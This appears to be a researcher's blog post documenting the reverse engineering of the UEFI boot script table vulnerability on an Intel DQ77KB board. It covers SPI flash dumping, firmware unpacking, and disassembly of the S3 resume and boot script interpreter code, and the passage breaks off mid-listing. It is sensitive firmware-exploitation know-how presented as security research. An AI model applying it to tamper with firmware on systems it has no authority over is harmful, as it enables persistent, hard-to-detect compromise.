However, Rafal and Corey haven't released their PoC code which is needed to check your system for UEFI boot script table vulnerability, so, I decided to write a blog post with step by step work log of it's exploitation on my test hardware: Intel DQ77KB motherboard with 7 series Q77 chipset. In theory, all reverse engineering and exploitation steps are also reproducible on any other UEFI compatible motherboard, so you can modify exploit code to add other models support. As for the BIOS_CNTL race condition vulnerability (CERT VU #766164), my motherboard is not vulnerable because it's properly uses SMM_BWP bit.
Also, while reading this post you should remember, that under BIOS I usually mean "PC firmware in general", but not a legacy (pre-UEFI) BIOS. Described attack is irrelevant to legacy BIOS, because in most of the cases it doesn't have appropriate platform security mechanisms at all.
General information
UEFI boot script table is a data structure that used to save platform state during ACPI S3 sleep, when the most of platform components are powered off. Usually this structure located at special nonvolatile storage (NVS) memory region. UEFI code constructs boot script table during normal boot, and interprets it’s entries during S3 resume when platform is waking up from sleep. Attacker, which is able to modify current boot script table contents from the kernel mode of operating system and trigger S3 suspend-resume cycle, can achieve arbitrary code execution at early platform initialisation stage, when some of security features are not initialised or not locked yet. If you haven't seen Rafal and Corey talk — it's a good time to do that.
Official Intel documentation (Intel® Platform Innovation Framework for EFI) is the best starting point to get some information about UEFI S3 resume architecture:
A lot of things from documents above has reference implementation in EDK2 source code . In practice many manufacturers uses they own code, but nevertheless, EDK2 is a great information source which might be helpful for better understanding of some unclear aspects.
Following scheme shows a platform boot path during normal boot, and during S3 resume:
Figure 2-2 from EFI Boot Script Specification.
Firmware reverse engineering is required to exploit this vulnerability because boot script table location and format are vendor-specific. Boot Script Specification defines a set of operations that must be implemented by interpreter, but not a boot script binary format itself:
#define EFI_BOOT_SCRIPT_IO_WRITE_OPCODE 0x00 #define EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE 0x01 #define EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE 0x02 #define EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE 0x03 #define EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE 0x04 #define EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE 0x05 #define EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE 0x06 #define EFI_BOOT_SCRIPT_STALL_OPCODE 0x07 #define EFI_BOOT_SCRIPT_DISPATCH_OPCODE 0x08
A real implementation of S3 resume also may have some custom opcodes in addition. Obviously, they are not described in any specs.
Acquiring and unpacking firmware image
First of all, for reverse engineering of boot script table interpreter, we need to obtain a firmware image for target platform. It’s possible to download firmware updates from vendor web-site and unpack them, but if you don’t wan’t to mess with firmware updates format (which may be proprietary/undocumented) it’s better to dump actual flash image contents from SPI flash chip that located on the motherboard. In most of the cases, for dumping flash you just might to use a flashrom utility directly from environment of operating system that running on the target platform (software way). If your chipset/motherboard is not supported by flashrom like my DQ77KB, you can use other computer to read flash chip contents with SPI programmer device (it should work even without chip de-soldering).
Intel DQ77KB has two different SPI flash chips:
First I thought that it might be something similar to dual BIOS technology, but actually these chips has different capacity (64 and 32 Mbit) and both of them are used to store single flash image which is too big to fit into the single 64 Mbit chip. For decent work with such board without needing to reconnect programmer each time to read/write both of the chips, I decided to use a two-channel FT2232H mini module from FTDI which has USB interface and supports a lot of widely used hardware protocols like SPI, UART, I2C and JTAG. A and B channels of the board are connected to the 1-st and 2-nd chip correspondingly:
Chip pin | Board pin, ch. A | Board pin, ch. B | |
1 | CN2.12 | CN3.23 | |
2 | CN2.09 | CN3.24 | |
3 | CN2.14 | CN3.21 | |
4 | CN2.02 | CN3.04 | |
5 | CN2.10 | CN3.25 | |
6 | CN2.07 | CN3.26 | |
7 | CN2.13 | CN3.20 | |
8 | CN2.05 | CN3.01 | |
If you need to read flash chip only one or several times — it might be okay to use microprobes or SOIC-8 test clip for connection with the chip.
Because I’m doing different kind of work that requires firmware modification and board unbrick pretty often, I decided to solder a thin МГТФ wires with 8-pin PLS connectors directly to my chips. This setup is much more convenient, solid and you can keep it at your desk inside closed case in regular way without needing to waste a time to connect probes or clips:
1-st chip of DQ77KB connected to FT2232H mini module.
Lighting LEDs — side effect of parasitic power from programmer.
Lighting LEDs — side effect of parasitic power from programmer.
Flashrom allows to use an FTDI FT2232/FT4232H/FT232H based device as external SPI programmer, let's read contents of two chips and join them together:
# flashrom -p ft2232_spi:type=2232H,port=A --read fw.bin flashrom v0.9.7-r1854 on Linux 3.8.0-44-generic (x86_64) flashrom is free software, get the source code at http://www.flashrom.org Calibrating delay loop... OK. Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ft2232_spi. Reading flash... done. # flashrom -p ft2232_spi:type=2232H,port=B --read fw_2.bin flashrom v0.9.7-r1854 on Linux 3.8.0-44-generic (x86_64) flashrom is free software, get the source code at http://www.flashrom.org Calibrating delay loop... OK. Found Winbond flash chip "W25Q32.V" (4096 kB, SPI) on ft2232_spi. Reading flash... done. # cat fw_2.bin >> fw.bin && rm fw_2.bin
Readed firmware flash descriptor consists from different regios (BIOS, ME, etc.) that may contain Firmware File System (FFS) volumes. UEFI code is decomposed across different modules (which uses a PE/COFF executable format subset) of different types (PEI stage, DXE stage, SMM code, etc.) that stored on FFS as files. On modern motherboards UEFI may contain more than several hundreds of PE modules (~250 on my DQ77KB).
To extract these modules we will use a uefi-firmware-parser utility. It's not a prefect tool, but in my case uefi-firmware-parser doing it’s job well after several bug fixes (program author already included them into source). Also, this tool is written in Python that makes it relatively flexible and modification friendly.
$ cd uefi-firmware-parser $ python scripts/fv_parser.py --extract --output ./fw_extracted --flash fw.bin Parsing Flash descriptor. Flash Descriptor (Intel PCH) chips 1, regions 3, masters 2, PCH straps 18, PROC straps 1, ICC entries 0 Flash Region type= bios, size= 0x640000 (6553600 bytes) details[ read: 11, write: 10, base: 1472, limit: 3071, id: 0 ] Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe6ae, size 0x20000 (131072 bytes) Firmware Volume Blocks: (32, 0x1000) File 0: cef5b9a3-476d-497f-dc9f-e98143e0422c type 0x01, attr 0x00, state 0x0f, size 0x1ffb8 (131000 bytes), (raw) RawObject: size= 130976 Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe6ae, size 0x20000 (131072 bytes) Firmware Volume Blocks: (32, 0x1000) File 0: cef5b9a3-476d-497f-dc9f-e98143e0422c type 0x01, attr 0x00, state 0x07, size 0x1ffb8 (131000 bytes), (raw) RawObject: size= 130976 Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe648, size 0x80000 (524288 bytes) Firmware Volume Blocks: (128, 0x1000) File 0: a6beb857-b370-40fb-eb8e-df17aacd955f type 0x02, attr 0x00, state 0x07, size 0x926a (37482 bytes), (freeform) Section 0: type 0x01, size 0x9252 (37458 bytes) (Compression section) Section 0: type 0x19, size 0x9864 (39012 bytes) (Raw section) File 1: 918e7ad1-c1fa-474e-ed82-356dd84f3795 type 0x02, attr 0x00, state 0x07, size 0x7182 (29058 bytes), (freeform) Section 0: type 0x01, size 0x716a (29034 bytes) (Compression section) Section 0: type 0x19, size 0x76b8 (30392 bytes) (Raw section) File 2: ed10cbd0-ec4d-412e-e080-e541edc805f7 type 0x02, attr 0x00, state 0x07, size 0x506a (20586 bytes), (freeform) Section 0: type 0x01, size 0x5052 (20562 bytes) (Compression section) Section 0: type 0x19, size 0x53ed (21485 bytes) (Raw section) Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe648, size 0x80000 (524288 bytes) Firmware Volume Blocks: (128, 0x1000) File 0: 17088572-377f-44ef-4e8f-b09fff46a070 (CPU_MICROCODE_FILE_GUID) type 0x01, attr 0x48, state 0x07, size 0xa018 (40984 bytes), (raw) RawObject: size= 40960 File 1: 3b42ef57-16d3-44cb-3286-9fdb06b41451 (DELL_MEMORY_INIT_GUID) type 0x06, attr 0x40, state 0x07, size 0x272fc (160508 bytes), (pei module) Section 0: type 0x1b, size 0x100 (256 bytes) (PEI dependency expression section) Section 1: type 0x10, size 0x271e4 (160228 bytes) (PE32 image section) File 2: 7fd38521-7798-41e5-5e81-12e01fe23c11 type 0x06, attr 0x40, state 0x07, size 0x3cf9 (15609 bytes), (pei module) Section 0: type 0x1b, size 0x3a (58 bytes) (PEI dependency expression section) Section 1: type 0x01, size 0x3ca5 (15525 bytes) (Compression section) Section 0: type 0x10, size 0x8924 (35108 bytes) (PE32 image section) File 3: 70c2051d-5956-4466-39b1-9e1346f9de0c type 0x06, attr 0x40, state 0x07, size 0x3790 (14224 bytes), (pei module) Section 0: type 0x1b, size 0x3a (58 bytes) (PEI dependency expression section) Section 1: type 0x01, size 0x373c (14140 bytes) (Compression section) Section 0: type 0x10, size 0x5964 (22884 bytes) (PE32 image section) File 4: dc292e2e-d532-4eb7-2f83-3068d7f5951e type 0x06, attr 0x40, state 0x07, size 0x7dc (2012 bytes), (pei module) Section 0: type 0x1b, size 0x5e (94 bytes) (PEI dependency expression section) Section 1: type 0x10, size 0x764 (1892 bytes) (PE32 image section) File 5: 078f54d4-cc22-4048-949e-879c214d562f type 0xf0, attr 0x00, state 0x07, size 0x47010 (290832 bytes), (ffs padding) File 6: 1ba0062e-c779-4582-6685-336ae8f78f09 (EFI_FFS_VOLUME_TOP_FILE_GUID) type 0x02, attr 0x40, state 0x07, size 0x20 (32 bytes), (freeform) Section 0: type 0x19, size 0x8 (8 bytes) (Raw section) Firmware Volume: 8c8ce578-8a3d-4f1c-3599-896185c32dd3 attr 0x0003feff, rev 2, cksum 0xe1c4, size 0x4c0000 (4980736 bytes) Firmware Volume Blocks: (1216, 0x1000) File 0: 5c266089-e103-4d43-b59a-12d7095be2af type 0x07, attr 0x40, state 0x07, size 0xa2a (2602 bytes), (driver) Section 0: type 0x13, size 0x28 (40 bytes) (DXE dependency expression section) Section 1: type 0x01, size 0x9ea (2538 bytes) (Compression section) Section 0: type 0x10, size 0x12c4 (4804 bytes) (PE32 image section) File 1: 5bba83e6-f027-4ca7-d0bf-16358cc9e123 type 0x07, attr 0x40, state 0x07, size 0xac3c (44092 bytes), (driver) Section 0: type 0x10, size 0xac24 (44068 bytes) (PE32 image section) File 2: 8d59ebc8-b85e-400e-0a97-1f995d1db91e type 0x07, attr 0x40, state 0x07, size 0xa9dc (43484 bytes), (driver) Section 0: type 0x10, size 0xa9c4 (43460 bytes) (PE32 image section) File 3: eb969dee-3ca7-482e-7589-ef8d9f160dd1 type 0x07, attr 0x40, state 0x07, size 0x8ba (2234 bytes), (driver) Section 0: type 0x13, size 0x16 (22 bytes) (DXE dependency expression section) Section 1: type 0x01, size 0x88a (2186 bytes) (Compression section) Section 0: type 0x10, size 0x10c4 (4292 bytes) (PE32 image section) File 4: f918e883-7c0f-444c-0ba7-a73350112689 type 0x07, attr 0x40, state 0x07, size 0xbdb (3035 bytes), (driver) Section 0: type 0x13, size 0x16 (22 bytes) (DXE dependency expression section) Section 1: type 0x01, size 0xbab (2987 bytes) (Compression section) Section 0: type 0x10, size 0x1704 (5892 bytes) (PE32 image section) File 5: e03abadf-e536-4e88-a0b3-b77f78eb34fe (DELL_CPU_DXE_GUID) type 0x07, attr 0x40, state 0x07, size 0x1883 (6275 bytes), (driver) Section 0: type 0x13, size 0x6 (6 bytes) (DXE dependency expression section) Section 1: type 0x01, size 0x1863 (6243 bytes) (Compression section) Section 0: type 0x10, size 0x2d24 (11556 bytes) (PE32 image section) File 6: 93022f8c-1f09-47ef-b2bb-5814ff609df5 (DELL_FILE_SYSTEM_GUID) type 0x07, attr 0x40, state 0x07, size 0x46c1 (18113 bytes), (driver) Section 0: type 0x01, size 0x46a9 (18089 bytes) (Compression section) Section 0: type 0x10, size 0x7e04 (32260 bytes) (PE32 image section) File 7: dac2b117-b5fb-4964-12a3-0dcc77061b9b (FONT_FFS_FILE_GUID) type 0x02, attr 0x40, state 0x07, size 0x5a5 (1445 bytes), (freeform) Section 0: type 0x01, size 0x58d (1421 bytes) (Compression section) Section 0: type 0x18, size 0xfc4 (4036 bytes) (Free-form GUID section) File 8: 9221315b-30bb-46b5-3e81-1b1bf4712bd3 (SETUP_DEFAULTS_FFS_GUID) type 0x02, attr 0x40, state 0x07, size 0x178 (376 bytes), (freeform) Section 0: type 0x01, size 0x160 (352 bytes) (Compression section) Section 0: type 0x19, size 0x2c4 (708 bytes) (Raw section) File 9: 5ae3f37e-4eae-41ae-4082-35465b5e81eb (DELL_CORE_DXE_GUID) type 0x05, attr 0x40, state 0x07, size 0x27b15 (162581 bytes), (dxe core) Section 0: type 0x01, size 0x27afd (162557 bytes) (Compression section) Section 0: type 0x10, size 0x152a44 (1387076 bytes) (PE32 image section) Section 1: type 0x18, size 0xc53 (3155 bytes) (Free-form GUID section) ... around 300 of other FFS files that was skipped
For uefi-firmware-parser alternative you also may have a look at UEFITool, Qt-based utility that runs on Windows, OS X and Linux.
Original description of the attack mentions EFI_PEI_S3_RESUME_PPI, EFI interface that implements ACPI boot script handling. GUID value for this interface is 4426CCB2-E684-4a8a-ae40-20d4b025b710, let’s search it's raw binary data inside UEFI modules that was extracted from firmware:
$ for s in `find ./fw_extracted -type d`; \ do grep -obUaP '\xb2\xcc\x26\x44\x84\xe6\x8a\x4a' $s/*; \ done | grep '\.pe' | awk -F: '{print $1, $2}' ./fw_extracted/regions/region-bios/volume-volume/file-92685943-d810-47ff-12a1-cc8490776a1f/section0.pe 49160 ./fw_extracted/regions/region-bios/volume-volume/file-efd652cc-0e99-40f0-c096-e08c089070fc/section1.pe 5408
This GUID presents inside of only two files: file-efd652cc-0e99-40f0-c096-e08c089070fc/section1.pe and file-92685943-d810-47ff-12a1-cc8490776a1f/section0.pe. According to the uefi-firmware-parser output, both of them are UEFI PEI (Pre-EFI Initialisation) executable images, so, we have to look inside with IDA.
PEI introduction
Before we start, let’s learn a several key conceptions that required for disassembling and understanding of the UEFI PEI stage code.
PEI Foundation API is described by structure EFI_PEI_SERVICES, usually runtime is passing address of this structure to the entry point function of each PEI module (PEIM) that was loaded from FFS. Here is the definition of this structure with functions description:
typedef struct _EFI_PEI_SERVICES { EFI_TABLE_HEADER Hdr; // Table header. EFI_PEI_INSTALL_PPI InstallPpi; // Installs an interface. EFI_PEI_REINSTALL_PPI ReInstallPpi; // Reinstalls an interface. EFI_PEI_LOCATE_PPI LocatePpi; // Locates installed interface by GUID. EFI_PEI_NOTIFY_PPI NotifyPpi; // Installs notification service for interface // installation and reinstallation. EFI_PEI_GET_BOOT_MODE GetBootMode; // Returns the present value of the boot mode. EFI_PEI_SET_BOOT_MODE SetBootMode; // Sets the value of the boot mode. EFI_PEI_GET_HOB_LIST GetHobList; // Get Hand-Off Blocks (HOBs) list pointer. EFI_PEI_CREATE_HOB CreateHob; // Abstracts the creation of HOB headers. EFI_PEI_FFS_FIND_NEXT_VOLUME FfsFindNextVolume; // Discovers instances of firmware volumes. EFI_PEI_FFS_FIND_NEXT_FILE FfsFindNextFile; // Discovers instances of firmware files. EFI_PEI_FFS_FIND_SECTION_DATA FfsFindSectionData; // Discovers files of the firmware File System // (FFS) volume. EFI_PEI_INSTALL_PEI_MEMORY InstallPeiMemory; // Registers the found memory configuration. EFI_PEI_ALLOCATE_PAGES AllocatePages; // Allocates memory ranges. EFI_PEI_ALLOCATE_POOL AllocatePool; // Allocates memory from the HOB heap. EFI_PEI_COPY_MEM CopyMem; // Copies the contents of one buffer to another. EFI_PEI_SET_MEM SetMem; // Fills a buffer with a specified value. EFI_PEI_REPORT_STATUS_CODE ReportStatusCode; // Provides an interface that a PEIM can call // to report a status code. EFI_PEI_RESET_SYSTEM ResetSystem; // Resets the entire platform. EFI_PEI_CPU_IO_PPI CpuIo; // Provides an interface for I/O transactions. EFI_PEI_PCI_CFG_PPI PciCfg; // Provides an interface for PCI configuration // transactions. } EFI_PEI_SERVICES;
PEIMs can use InstallPpi() function to install a PEI PEIM-to-PEIM Interface (PPI) database by GUID:
typedef EFI_PEI_PPI_DESCRIPTOR { UINTN Flags; // Interface flags. EFI_GUID *Guid; // Interface GUID. VOID *Ppi; // Pointer to the interface-specific structure. } EFI_PEI_PPI_DESCRIPTOR; typedef EFI_STATUS (EFIAPI * EFI_PEI_INSTALL_PPI)( IN struct _EFI_PEI_SERVICES **PeiServices, IN EFI_PEI_PPI_DESCRIPTOR *PpiList // List of the interfaces to install. );
PEIMs also can use LocatePpi() function for finding existing interface (it can be implemented by the same PEIM or other PEIM as well) by it’s GUID:
typedef EFI_STATUS (EFIAPI * EFI_PEI_LOCATE_PPI)( IN struct _EFI_PEI_SERVICES **PeiServices, IN EFI_GUID *Guid, IN UINTN Instance, IN OUT EFI_PEI_PPI_DESCRIPTOR **PpiDescriptor, IN OUT VOID **Ppi );
Reverse engineering of S3 resume code
Let’s load FFS file file-efd652cc-0e99-40f0-c096-e08c089070fc/section1.pe into the IDA and check some code around it’s module entry point:
.text:FFBB54EE public EntryPoint .text:FFBB54EE EntryPoint proc near .text:FFBB54EE .text:FFBB54EE arg_0 = dword ptr 4 .text:FFBB54EE arg_4 = dword ptr 8 .text:FFBB54EE .text:FFBB54EE push esi .text:FFBB54EF mov esi, [esp+4+arg_4] .text:FFBB54F3 push esi .text:FFBB54F4 push [esp+8+arg_0] .text:FFBB54F8 call sub_FFBB5D9C .text:FFBB54FD mov eax, [esi] .text:FFBB54FF push offset unk_FFBB64C8 .text:FFBB5504 push esi .text:FFBB5505 call dword ptr [eax+18h] .text:FFBB5508 add esp, 10h .text:FFBB550B pop esi .text:FFBB550C retn .text:FFBB550C EntryPoint endp .text:FFBB5D9C sub_FFBB5D9C proc near .text:FFBB5D9C .text:FFBB5D9C arg_4 = dword ptr 8 .text:FFBB5D9C .text:FFBB5D9C mov eax, [esp+arg_4] .text:FFBB5DA0 mov ecx, [eax] .text:FFBB5DA2 push offset unk_FFBB6558 .text:FFBB5DA7 push eax .text:FFBB5DA8 call dword ptr [ecx+18h] .text:FFBB5DAB pop ecx .text:FFBB5DAC pop ecx .text:FFBB5DAD retn .text:FFBB5DAD sub_FFBB5D9C endp
There's not so much of useful tools and IDA scripts for reverse engineering of UEFI binaries, a project that should be mentioned: EFI scripts for IDA Pro, by @snare. Unfortunately, rename_tables() and rename_structs() features (actually, the most desired) are not works for PEI modules, because EFI scripts for IDA Pro was designed rather for DXE stage. You can try to implement a PEI support with adding a proper handling of EFI_PEI_SERVICES table into the efiutils.py. Nevertheless, GUIDs finding and renaming feature works well for all kind of binaries, also you can grab UEFI data structures definitions as single file which is convenient for loading it into the IDA.
After manual propagating of types information and renaming GUIDs, assembly code from module entry point looks pretty friendly:
.text:FFBB54EE ; EFI_STATUS __stdcall EntryPoint(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices) .text:FFBB54EE public EntryPoint .text:FFBB54EE EntryPoint proc near .text:FFBB54EE .text:FFBB54EE FileHandle = dword ptr 4 .text:FFBB54EE ppPeiServices = dword ptr 8 .text:FFBB54EE .text:FFBB54EE push esi .text:FFBB54EF mov esi, [esp+4+ppPeiServices] .text:FFBB54F3 push esi .text:FFBB54F4 push [esp+8+FileHandle] .text:FFBB54F8 call RegisterBootScriptExecuter .text:FFBB54FD mov eax, [esi] .text:FFBB54FF push offset gEfiPeiS3ResumePpiDescriptor ; EFI_PEI_PPI_DESCRIPTOR * .text:FFBB5504 push esi ; PEFI_PEI_SERVICES * .text:FFBB5505 call [eax+EFI_PEI_SERVICES.InstallPpi] .text:FFBB5508 add esp, 10h .text:FFBB550B pop esi .text:FFBB550C retn .text:FFBB550C EntryPoint endp .text:FFBB5D9C ; EFI_STATUS __cdecl RegisterBootScriptExecuter(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices) .text:FFBB5D9C RegisterBootScriptExecuter proc near .text:FFBB5D9C .text:FFBB5D9C ppPeiServices = dword ptr 8 .text:FFBB5D9C .text:FFBB5D9C mov eax, [esp+ppPeiServices] .text:FFBB5DA0 mov ecx, [eax] .text:FFBB5DA2 push offset gEfiPeiBootScriptExecuterPpiDescriptor ; EFI_PEI_PPI_DESCRIPTOR * .text:FFBB5DA7 push eax ; PEFI_PEI_SERVICES * .text:FFBB5DA8 call [ecx+EFI_PEI_SERVICES.InstallPpi] .text:FFBB5DAB pop ecx .text:FFBB5DAC pop ecx .text:FFBB5DAD retn .text:FFBB5DAD RegisterBootScriptExecuter endp .data:FFBB645C gEfiPeiS3ResumePpiGuid dd 4426CCB2h ; Data1 .data:FFBB645C dw 0E684h ; Data2 .data:FFBB645C dw 4A8Ah ; Data3 .data:FFBB645C db 0AEh, 40h, 20h, 0D4h, 0B0h, 25h, 0B7h, 10h; Data4 .data:FFBB64A8 gEfiPeiS3ResumePpi EFI_PEI_S3_RESUME_PPI <0FFBB51BCh> .data:FFBB64C8 gEfiPeiS3ResumePpiDescriptor EFI_PEI_PPI_DESCRIPTOR <80000010h, \ .data:FFBB64C8 offset gEfiPeiS3ResumePpiGuid, \ .data:FFBB64C8 offset gEfiPeiS3ResumePpi> .data:FFBB6524 gEfiPeiBootScriptExecuterPpiGuid dd 0ABD42895h ; Data1 .data:FFBB6524 dw 78CFh ; Data2 .data:FFBB6524 dw 4872h ; Data3 .data:FFBB6514 db 9Dh, 0FCh, 6Ch, 0BFh, 5Eh, 0E2h, 2Ch, 2Eh; Data4 .data:FFBB6554 gEfiPeiBootScriptExecuterPpi EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI <0FFBB5608h> .data:FFBB6558 gEfiPeiBootScriptExecuterPpiDescriptor EFI_PEI_PPI_DESCRIPTOR <80000010h, \ .data:FFBB6558 offset gEfiPeiBootScriptExecuterPpiGuid, \ .data:FFBB6558 offset gEfiPeiBootScriptExecuterPpi>
And C-like pseudocode for these functions:
EFI_STATUS __stdcall EntryPoint(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices) { RegisterBootScriptExecuter(FileHandle, ppPeiServices); // install S3 resume PPI return (*ppPeiServices)->InstallPpi(ppPeiServices, &gEfiPeiS3ResumePpiDescriptor); } EFI_STATUS __cdecl RegisterBootScriptExecuter(PVOID FileHandle, EFI_PEI_SERVICES **ppPeiServices) { // install boot script executer PPI return (*ppPeiServices)->InstallPpi(ppPeiServices, &gEfiPeiBootScriptExecuterPpiDescriptor); }
It's clear that after loading this module registers two interfaces (more details about them are available in specs):
- EFI_PEI_S3_RESUME_PPI — PPI that accomplishes the firmware S3 resume boot path and transfers control to OS.
- EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI — PPI that produces functions to interpret and execute the Framework boot script table.
EFI_STATUS __cdecl sub_FFFCA505(EFI_PEI_SERVICES **ppPeiServices) { EFI_STATUS Result; EFI_STATUS Status; EFI_PEI_S3_RESUME2_PPI *pS3Resume2; EFI_PEI_S3_RESUME_PPI *pS3Resume; // try to locate S3Resume2 PPI first if ((*ppPeiServices)->LocatePpi( ppPeiServices, &gEfiPeiS3Resume2PpiGuid, 0, &ppPeiServices, &pS3Resume2) & 0x80000000) { // try to use S3Resume PPI if fails Status = (*ppPeiServices)->LocatePpi( ppPeiServices_, &gEfiPeiS3ResumePpiGuid, 0, &ppPeiServices, &pS3Resume ); if (Status & 0x80000000) { (*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038005u, 0, 0, 0); // unable to locate required PPI Result = Status; } else { // restore platform state Result = pS3Resume->S3RestoreConfig(ppPeiServices); } } else { // restore platform state Result = pS3Resume2->S3RestoreConfig2(pS3Resume2); } return Result; }
Now let’s get back to the first PEI module. Intel S3 Resume Boot Path Specification has a useful description of actions that must be done by implementation of the EFI_PEI_S3_RESUME_PPI.S3RestoreConfig():
This function will restore the platform to its preboot configuration that was prestored in EFI_ACPI_S3_RESUME_SCRIPT_TABLE and transfer control to OS waking vector. Upon invocation, this function is responsible for locating the following information before jumping to OS waking vector:
- ACPI table
- S3 resume boot script table
- Any other information that it needs
EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI.Execute() and transitions the platform to the preboot state. Finally, this function transfers control to the OS waking vector. If the OS supports only a real-mode waking vector, this function will switch from flat mode to real mode before jumping to the waking vector.
Here is S3RestoreConfig() decompiled code, to make it simpler I skipped a lot of stuff that doesn’t belongs to the boot script table handling that we are interested in:
EFI_STATUS __cdecl S3RestoreConfig(EFI_PEI_SERVICES **ppPeiServices) { EFI_STATUS Result; EFI_STATUS Status; EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI *pBootScriptExecuter; int AcpiGlobalVariable; __int64 pBootScript; EFI_PEI_SERVICES *pPeiServices = *ppPeiServices; pPeiServices->ReportStatusCode(ppPeiServices, 1, 0x3038000u, 0, 0, 0); // get boot script executer PPI Status = (*ppPeiServices)->LocatePpi( ppPeiServices, &gEfiPeiBootScriptExecuterPpiGuid, 0, 0, &pBootScriptExecuter ); if (Status & 0x80000000) { (*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038006u, 0, 0, 0); Result = Status; } else { // get ACPI global variable address AcpiGlobalVariable = sub_FFBB550D(ppPeiServices); AcpiGlobalVariable_ = AcpiGlobalVariable; if (AcpiGlobalVariable) { // get boot script table address v5 = *(unsigned int *)(AcpiGlobalVariable + 0x18); HIDWORD(pBootScript) = *(unsigned int *)(AcpiGlobalVariable + 0x1C); LODWORD(pBootScript) = v5; pPeiServices->ReportStatusCode(ppPeiServices_, 1, 0x3038001u, 0, 0, 0); // execute boot script table if (pBootScriptExecuter->Execute( ppPeiServices, pBootScriptExecuter, pBootScript, HIDWORD(pBootScript), 0) & 0x80000000) { (*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038006u, 0, 0, 0); } // ... skipped the rest part of S3 resume code ... Result = 0x80000003u; } else { (*ppPeiServices)->ReportStatusCode(ppPeiServices, 0x80000002u, 0x3038008u, 0, 0, 0); Result = 0x8000000Eu; } } return Result; }
As we can see, this function gets boot script table address at offset 0x18 from the beginning of the ACPI global variable structure, and then calls another PPI (which is located inside the same PEIM and was registered early during the EntryPoint execution) to execute boot script code. Function sub_FFBB550D(), that locates address of the ACPI global variable, reads it from the 4-bytes firmware variable with GUID af9ffd67-ec10-488a-9dfc-6cbf5ee22c2e:
int __cdecl sub_FFBB550D(EFI_PEI_SERVICES **ppPeiServices) { EFI_PEI_SERVICES *pPeiServices = *ppPeiServices; EFI_PEI_READ_ONLY_VARIABLE2_PPI *pReadOnlyVariable2; EFI_STATUS Status; int v4 = 4; int v5 = 0; // locate EFI variable PPI pPeiServices->LocatePpi( ppPeiServices, &gEfiPeiReadOnlyVariable2PpiGuid, 0, 0, &pReadOnlyVariable2 ); // query variable value Status = pReadOnlyVariable2->GetVariable( pReadOnlyVariable2, L"AcpiGlobalVariable", &gAcpiGlobalVariableGuid, 0, &v4, &v5 ); return (Status & 0x80000000) == 0 ? v5 : 0; }
Now, when location of the current boot script table address is known, it’s possible to dump it using CHIPSEC framework (this tool will be described a bit later).
First 0xD0 bytes of the boot script has the following contents:
Some obviously recognisable fields of the table entries are highlighted: red — entry index, green — entry size in bytes, blue — opcode. At this point we can notice, that given boot script format is pretty different in comparison with reference implementation of the boot script table from EDK2 source code (see EfiBootScript.h and PiDxeS3BootScriptLib).
Here is decompiled code of the EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI.Execute() function that implements boot script table parsing and execution:
EFI_STATUS __cdecl Execute(EFI_PEI_SERVICES **ppPeiServices, EFI_PEI_BOOT_SCRIPT_EXECUTER_PPI *This, __int64 Address, int FvFile) { unsigned int InstructionPtr; EFI_STATUS Result; EFI_STATUS Opcode; EFI_PEI_SERVICES *pPeiServices; // stack arguments that will be set by ParseInstruction() calls unsigned int v32; // [bp-64h]@10 int v33; // [bp-5Eh]@70 __int64 v34; // [bp-5Ch]@11 __int64 v35; // [bp-54h]@15 __int64 v36; // [bp-4Ch]@17 int v37; // [bp-44h]@23 int v38; // [bp-40h]@23 EFI_PEI_SMBUS2_PPI *pSmbus2; EFI_PEI_STALL_PPI *pStall; EFI_PEI_CPU_IO_PPI *pCpuIo; EFI_PEI_PCI_CFG_PPI *pPciCfg; EFI_PEI_PCI_CFG_PPI *pPciCfg_; EFI_PEI_PCI_CFG_PPI *pPciCfg__; InstructionPtr = Address; v49 = 0; if (FvFile) return 0x80000003u; if (!Address) return 0x80000002u; pCpuIo = (EFI_PEI_CPU_IO_PPI *)(*ppPeiServices)->CpuIo; pPciCfg = (EFI_PEI_PCI_CFG_PPI *)(*ppPeiServices)->PciCfg; if ((*ppPeiServices)->LocatePpi(ppPeiServices, &gEfiPeiSmbus2PpiGuid, 0, 0, &pSmbus2) & 0x80000000 || (*ppPeiServices)->LocatePpi(ppPeiServices, &gEfiPeiStallPpiGuid, 0, 0, &pStall) & 0x80000000) goto LABEL_97; while (1) { LABEL_7: InstructionPtr += 8; Opcode = *(unsigned char *)InstructionPtr; if (Opcode <= 128) { if (Opcode != 128) { switch (Opcode) { case 0: // EFI_BOOT_SCRIPT_IO_WRITE_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x10u); v7 = InstructionPtr + 16; v8 = v7; if ((unsigned __int8)(BYTE1(v32) & 0xFC) == 4) v9 = 1; else v9 = v34; InstructionPtr = v9 * (unsigned __int8)(1 << (BYTE1(v32) & 3)) + v7; pCpuIo->IoRead16(ppPeiServices, pCpuIo, BYTE1(v32), HIWORD(v32), 0, v34, v8); continue; case 1: // EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE ParseInstruction(&v32, (const void *)InstructionPtr, 0x18u); v10 = BYTE1(v32) & 3; InstructionPtr += 24; pCpuIo->IoRead8(ppPeiServices, pCpuIo, BYTE1(v32) & 3, HIWORD(v32), 0, 1, &v42); v42 = v34 | v42 & 